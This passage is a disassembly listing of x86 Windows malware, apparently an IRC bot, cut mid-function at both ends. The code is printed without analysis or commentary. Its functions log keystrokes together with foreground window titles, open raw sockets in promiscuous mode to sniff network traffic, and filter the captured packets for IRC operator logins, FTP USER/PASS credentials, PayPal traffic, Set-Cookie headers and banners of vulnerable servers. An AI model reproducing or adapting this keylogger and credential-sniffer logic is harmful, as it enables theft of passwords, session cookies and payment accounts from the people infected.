; sub_412197+2FBj ...
cmp [ebp+var_8], ebx
jg loc_412327
mov edi, [ebp+arg_0]
loc_4125B3: ; CODE XREF: sub_412197+199j
push esi
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call sub_41BA3B
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_4125E4
push [ebp+var_168]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_4125E4: ; CODE XREF: sub_412197+438j
push 3E8h
call dword_427080 ; Sleep
push edi
loc_4125F0: ; CODE XREF: sub_412197+125j
call sub_412197
pop edi
pop esi
pop ebx
leave
retn 4
sub_412197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125FC proc near ; CODE XREF: sub_4126A7+E2p
; sub_4126A7+1A4p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = byte ptr 18h
arg_90 = dword ptr 98h
arg_94 = dword ptr 9Ch
push ebp
mov ebp, esp
sub esp, 200h
cmp [ebp+arg_90], 0
jz short loc_41266C
push esi
mov esi, offset dword_435848
loc_412614: ; CODE XREF: sub_4125FC+6Bj
push esi
push [ebp+arg_4]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp+var_200]
push [ebp+arg_0]
push offset dword_436BB4
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: sub_4125FC+25j
add esi, 80h
cmp esi, offset dword_436448
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: sub_4125FC+10j
push [ebp+arg_0]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: sub_4125FC+6Ej
xor eax, eax
leave
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126A7 proc near ; DATA XREF: sub_401ACD+7374o
var_920 = dword ptr -920h
var_91C = byte ptr -91Ch
var_520 = byte ptr -520h
var_4E0 = byte ptr -4E0h
var_2E1 = byte ptr -2E1h
var_2E0 = byte ptr -2E0h
var_E0 = byte ptr -0E0h
var_DC = dword ptr -0DCh
var_58 = dword ptr -58h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 920h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_920], 0
push 26h
and [ebp+arg_0], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_E0]
rep movsd
mov dword ptr [eax+94h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_91C]
rep stosd
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB970 ; GetWindowTextA
mov ebx, 200h
loc_412702: ; CODE XREF: sub_4126A7+4A0j
push 8
call dword_427080 ; Sleep
call dword_4CB958 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz loc_41287A
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz loc_4127FF
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_4127B8
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
cmp eax, 1
pop ecx
jnb short loc_4127B8
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_4127B8: ; CODE XREF: sub_4126A7+9Bj
; sub_4126A7+AAj
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
jmp short loc_412833
; ---------------------------------------------------------------------------
loc_4127FF: ; CODE XREF: sub_4126A7+86j
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_412925
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)"
push eax
call sub_41C266
sub esp, 88h
loc_412833: ; CODE XREF: sub_4126A7+156j
push 26h
lea eax, [ebp+var_48]
pop ecx
lea esi, [ebp+var_E0]
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_41287A: ; CODE XREF: sub_4126A7+6Cj
; sub_4126A7+120j ...
cmp [ebp+var_58], 0
jz loc_412925
push 1
call dword_4CB9A0 ; GetAsyncKeyState
cmp ax, 8001h
jnz loc_412925
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_412925
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_520]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
lea eax, [ebp+var_520]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_412925: ; CODE XREF: sub_4126A7+164j
; sub_4126A7+1D7j ...
mov [ebp+var_4], offset dword_43644C
loc_41292C: ; CODE XREF: sub_4126A7+496j
push 10h
call dword_4CB8A8 ; GetKeyState
movsx esi, ax
mov eax, [ebp+var_4]
mov edi, [eax-4]
push edi
call dword_4CB9A0 ; GetAsyncKeyState
test ah, 80h
jz short loc_4129C4
push 14h
call dword_4CB8A8 ; GetKeyState
test ax, ax
jz short loc_412975
cmp esi, 0FFFFFFFFh
jle short loc_412975
cmp edi, 40h
jle short loc_412975
cmp edi, 5Bh
jge short loc_412975
mov [ebp+edi*4+var_920], 1
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_412975: ; CODE XREF: sub_4126A7+2ADj
; sub_4126A7+2B2j ...
push 14h
call dword_4CB8A8 ; GetKeyState
test ax, ax
jz short loc_4129A0
test esi, esi
jge short loc_4129B4
cmp edi, 40h
jle short loc_4129A0
cmp edi, 5Bh
jge short loc_4129A0
mov [ebp+edi*4+var_920], 2
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129A0: ; CODE XREF: sub_4126A7+2D9j
; sub_4126A7+2E2j ...
test esi, esi
jge short loc_4129B4
mov [ebp+edi*4+var_920], 3
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129B4: ; CODE XREF: sub_4126A7+2DDj
; sub_4126A7+2FBj
mov [ebp+edi*4+var_920], 4
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129C4: ; CODE XREF: sub_4126A7+2A0j
mov esi, [ebp+edi*4+var_920]
lea eax, [ebp+edi*4+var_920]
test esi, esi
jz loc_412B32
and dword ptr [eax], 0
lea eax, [ebp+var_2E0]
cmp edi, 8
push eax
jnz short loc_4129FC
call sub_41B9C0
and [ebp+eax+var_2E1], 0
pop ecx
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129FC: ; CODE XREF: sub_4126A7+340j
call sub_41B9C0
cmp eax, 1B9h
pop ecx
jbe short loc_412A42
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A30
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)"
jmp short loc_412A85
; ---------------------------------------------------------------------------
loc_412A30: ; CODE XREF: sub_4126A7+379j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)"
jmp short loc_412AA6
; ---------------------------------------------------------------------------
loc_412A42: ; CODE XREF: sub_4126A7+360j
cmp edi, 0Dh
jnz loc_412B04
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jz loc_412B32
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A96
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Return ; ".».%s.«. (Return)"
loc_412A85: ; CODE XREF: sub_4126A7+387j
lea eax, [ebp+var_4E0]
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_412AB5
; ---------------------------------------------------------------------------
loc_412A96: ; CODE XREF: sub_4126A7+3D0j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_ReturnS ; ".».%s.«. (Return) (%s)"
loc_412AA6: ; CODE XREF: sub_4126A7+399j
lea eax, [ebp+var_4E0]
push eax
call sub_41C266
add esp, 10h
loc_412AB5: ; CODE XREF: sub_4126A7+3EDj
sub esp, 98h
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
jmp short loc_412B32
; ---------------------------------------------------------------------------
loc_412B04: ; CODE XREF: sub_4126A7+39Ej
cmp esi, 1
jz short loc_412B1D
cmp esi, 3
jz short loc_412B1D
cmp esi, 2
jz short loc_412B18
cmp esi, 4
jnz short loc_412B32
loc_412B18: ; CODE XREF: sub_4126A7+46Aj
push [ebp+var_4]
jmp short loc_412B24
; ---------------------------------------------------------------------------
loc_412B1D: ; CODE XREF: sub_4126A7+460j
; sub_4126A7+465j
mov eax, [ebp+var_4]
add eax, 7
push eax
loc_412B24: ; CODE XREF: sub_4126A7+474j
lea eax, [ebp+var_2E0]
push eax
call sub_41C8A0
pop ecx
pop ecx
loc_412B32: ; CODE XREF: sub_4126A7+2C9j
; sub_4126A7+2F4j ...
add [ebp+var_4], 14h
cmp [ebp+var_4], offset dword_436B7C
jl loc_41292C
cmp [ebp+arg_0], 0
jz loc_412702
push [ebp+var_DC]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_4126A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B61 proc near ; DATA XREF: sub_401ACD+4150o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41C500
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_4CB9D4 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_412C36
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_43759C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C19
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412C19: ; CODE XREF: sub_412B61+96j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_412C36: ; CODE XREF: sub_412B61+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412CBB
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_437570
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C97
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412C97: ; CODE XREF: sub_412B61+114j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_412CBB: ; CODE XREF: sub_412B61+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CB980 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412D3E
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_437540
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412D1A
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412D1A: ; CODE XREF: sub_412B61+197j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_412D3E: ; CODE XREF: sub_412B61+177j
push ebx
mov ebx, offset dword_436C58
loc_412D44: ; CODE XREF: sub_412B61+21Bj
; sub_412B61+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz loc_412E71
cmp [ebp+var_102AB], 6
jnz short loc_412D44
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412D44
lea eax, [ebp+var_1028C]
push offset dword_437534
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
lea eax, [ebp+var_1028C]
push offset dword_437524
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_412D44
mov [ebp+arg_0], ebx
loc_412DCD: ; CODE XREF: sub_412B61+287j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DEF
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412DCD
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412B61+27Dj
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_4CB904 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_436C6C[eax*8]
push off_436C48[eax*4]
lea eax, [ebp+var_2B4]
push offset dword_4374F0
push 200h
push eax
call sub_41C360
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412E5F
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412E5F: ; CODE XREF: sub_412B61+2DCj
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412E71: ; CODE XREF: sub_412B61+20Ej
call dword_4CB968 ; WSAGetLastError
push eax
push offset dword_4374C4
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412EB7
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412EB7: ; CODE XREF: sub_412B61+334j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
sub_412B61 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE734, eax
mov eax, offset dword_4CE734
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: .packed:off_43ACE0o
push offset a302_0 ; "302 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_1 ; ":!login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login ; ":.Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper_0 ; "OPER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper ; "oper "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_3 ; "USER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_1 ; "PASS "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9E8 ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA58 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CD20
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_437870
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_34]
call sub_40B6D6
